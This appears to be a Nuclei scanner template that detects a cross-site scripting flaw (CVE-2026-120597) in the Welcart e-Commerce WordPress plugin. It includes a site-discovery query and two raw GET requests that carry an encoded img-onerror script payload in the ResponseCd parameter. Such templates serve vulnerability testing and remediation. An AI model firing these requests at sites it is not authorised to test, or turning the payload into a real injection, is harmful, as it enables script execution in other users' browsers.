Description
Welcart e-Commerce Plugin up to 2.12.6 contains a stored XSS caused by improper escaping of the ResponseCd argument in ESCOTT_MAIN::error_page_message, letting remote attackers execute scripts, exploit requires crafted input.
Welcart e-Commerce Plugin up to 2.12.6 contains a stored XSS caused by improper escaping of the ResponseCd argument in ESCOTT_MAIN::error_page_message, letting remote attackers execute scripts, exploit requires crafted input.
id: CVE-2026-120597
info:
name: WordPress Welcart e-Commerce < 2.12.7 - Cross-Site Scripting
author: maulanawirawan
severity: medium
description: |
Welcart e-Commerce Plugin up to 2.12.6 contains a stored XSS caused by improper escaping of the ResponseCd argument in ESCOTT_MAIN::error_page_message, letting remote attackers execute scripts, exploit requires crafted input.
impact: |
Remote attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking or other client-side attacks.
remediation: |
Upgrade to version 2.12.7.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-120597
- https://github.com/bevennyamande/welcart-poc
- https://wordpress.org/plugins/usc-e-shop/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2026-120597
epss-score: 0.00596
epss-percentile: 0.48761
cwe-id: CWE-79
metadata:
max-request: 2
vendor: welcart
product: welcart_e-commerce
fofa-query: body="wp-content/plugins/usc-e-shop"
tags: cve,cve2026,wordpress,wp-plugin,welcart,xss,unauth
http:
- raw:
- |
GET /usces-cart/?acting_return=1&MerchantFree2=acting_escott_conv&ResponseCd=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E HTTP/1.1
Host: {{Hostname}}
- |
GET /cart/?acting_return=1&MerchantFree2=acting_escott_conv&ResponseCd=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(to_lower(body), "error_page_mesage", "<img src=x onerror=alert(document.domain)>")'
condition: and
# digest: 4a0a0047304502210085407d99ba81002444540c8f6b78a57d25c3c9e5a98623b043006c20f57a7f27022049b5ab8ca20ad60e758b60d9d5ef07220e7831afbc253a22a6f02c6a50e3ce76:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.